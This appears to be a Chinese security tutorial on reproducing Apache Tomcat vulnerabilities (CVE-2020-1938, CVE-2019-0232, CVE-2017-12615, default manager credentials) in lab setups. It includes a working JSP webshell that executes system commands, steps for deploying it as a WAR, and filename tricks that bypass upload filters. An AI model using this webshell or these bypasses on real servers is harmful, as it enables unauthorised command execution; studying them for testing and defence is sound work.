描述
Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache、Sun 和其他一些公司及个人共同开发而成。由于有了Sun 的参与和支持,最新的Servlet 和JSP 规范总是能在Tomcat 中得到体现,Tomcat 5支持最新的Servlet 2.4 和JSP 2.0 规范。因为Tomcat 技术先进、性能稳定,而且免费,因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可,成为目前比较流行的Web 应用服务器。
Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。对于一个初学者来说,可以这样认为,当在一台机器上配置好Apache 服务器,可利用它响应HTML(标准通用标记语言下的一个应用)页面的访问请求。实际上Tomcat是Apache 服务器的扩展,但运行时它是独立运行的,所以当你运行tomcat 时,它实际上作为一个与Apache 独立的进程单独运行的。
诀窍是,当配置正确时,Apache 为HTML页面服务,而Tomcat 实际上运行JSP 页面和Servlet。另外,Tomcat和IIS等Web服务器一样,具有处理HTML页面的功能,另外它还是一个Servlet和JSP容器,独立的Servlet容器是Tomcat的默认模式。不过,Tomcat处理静态HTML的能力不如Apache服务器。目前Tomcat最新版本为10.0.5。
漏洞总结
CVE-2020-1938 文件包含漏洞
CVE-2020-1938为Tomcat AJP文件包含漏洞。由长亭科技安全研究员发现的存在于 Tomcat中的安全漏洞,由于 Tomcat AJP协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector可以读取或包含 Tomcat上所有 webapp目录下的任意文件,例如可以读取 webapp配置文件或源码。
此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。
漏洞影响版本
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
漏洞分析
Tomcat在处理ajp协议时存在漏洞,可通过调用request.setAttribute为Tomcat设置任意request属性。复现发现Tomcat ajp协议存在web目录下任意文件读取漏洞以及JSP文件包含漏洞。
当ajp URI设置为非jsp路径时,Tomcat会调用DefaultServlet处理,此时会导致web目录任意文件读取漏洞。
当ajp URI设置为jsp路径时,Tomcat会调用JspServlet处理,此时会导致JSP文件包含漏洞
poc地址
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
这里不做复现
Tomcat后台弱口令漏洞
在tomcat8环境下默认进入后台的密码为tomcat/tomcat,未修改造成未授权即可进入后台
复现
搭建环境,我使用的是9.0.46版本
访问后台管理地址,使用tomcat/tomcat进入后台
war木马的制作过程
找到一个jsp的木马
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
2.将sp木马放入 jdk1.8.0_73bin 目录下,然后在cmd输出已下命令(注意是必须在java环境下的,必须使用管理员权限的)
jar cvf +部署的war木马 +自己bin目录下的jsp木马
木马制作成功
上传制作的war木马
访问上传的1.jsp目录然后就可以执行我们想要执行的系统命令
CVE-2019-0232 Apache Tomcat远程代码执行漏洞
漏洞原理
漏洞相关的代码在 tomcat\java\org\apache\catalina\servlets\CGIServlet.java 中,CGIServlet提供了一个cgi的调用接口,在启用 enableCmdLineArguments 参数时,会根据RFC 3875来从Url参数中生成命令行参数,并把参数传递至Java的 Runtime 执行。这个漏洞是因为 Runtime.getRuntime().exec 在Windows中和Linux中底层实现不同导致的
Java的 Runtime.getRuntime().exec 在CGI调用这种情况下很难有命令注入。而Windows中创建进程使用的是 CreateProcess ,会将参数合并成字符串,作为 lpComandLine 传入 CreateProcess 。程序启动后调用 GetCommandLine 获取参数,并调用 CommandLineToArgvW 传至 argv。在Windows中,当 CreateProcess 中的参数为 bat 文件或是 cmd 文件时,会调用 cmd.exe , 故最后会变成 cmd.exe /c "arg.bat & dir",而Java的调用过程并没有做任何的转义,所以在Windows下会存在漏洞
复现
Tomcat的 CGI_Servlet组件默认是关闭的,在conf/web.xml中找到注释的 CGIServlet部分,去掉注释,并配置enableCmdLineArguments和executable
这里注意一下,去掉注释并添加以下代码
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
然后在conf/web.xml中启用cgi的 servlet-mapping
修改conf/context.xml的添加 privileged="true"属性,否则会没有权限
在C:\Tomcat\webapps\ROOT\WEB-INF下创建cgi-bin目录,再在cgi-bin目录下创建一个hello.bat文件
hello.bat内容
在文件后面追加我们要执行的系统命令
CVE-2017-12615 Tomcat远程代码执行漏洞(PUT请求)
首先声明的是CVE-2017-12615漏洞的利用条件是Windows+Tomcat 7.0.x+配置文件readonly=false,配置文件内容如:
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
可以使用PUT方法上传任意文件,但限制了jsp后缀的上传
但是当我们利用Windows特性以下面两种方式上传文件时,tomcat并不认为其是jsp文件从而交由DefaultServlet处理,从而成功创建jsp文件。
evil.jsp%20
evil.jsp::$DATA
初次之外当我们上传evil.jsp/ 类型的文件时(即以反斜杠结尾)时同样会成功创建jsp文件,并且这种方式把PUT漏洞的利用扩展到了Linux平台及Tomcat的5.x-9.x的所有版本
环境搭建
这里使用vuluhub的docker进行漏洞复现,这里就不详细介绍环境搭建了
访问8080端口 对应的是Tomcat 8.5.19
使用burp抓包发现为get请求
将其改为PUT请求 并添加内容后发包 返回201
访问1.html 可以看到我们刚才写进去的内容
尝试传入jsp文件马 返回404,并不能成功上传文件
这时候就要用到我们刚才说的,因为我是vuluhub搭建的 所有可以使用1.jsp/来绕过
直接使用冰蝎进行链接
参考文章
https://mp.weixin.qq.com/s/CJ3e4lx0AlLq_zJI4rHw2A
https://blog.csdn.net/helloexp/article/details/89377270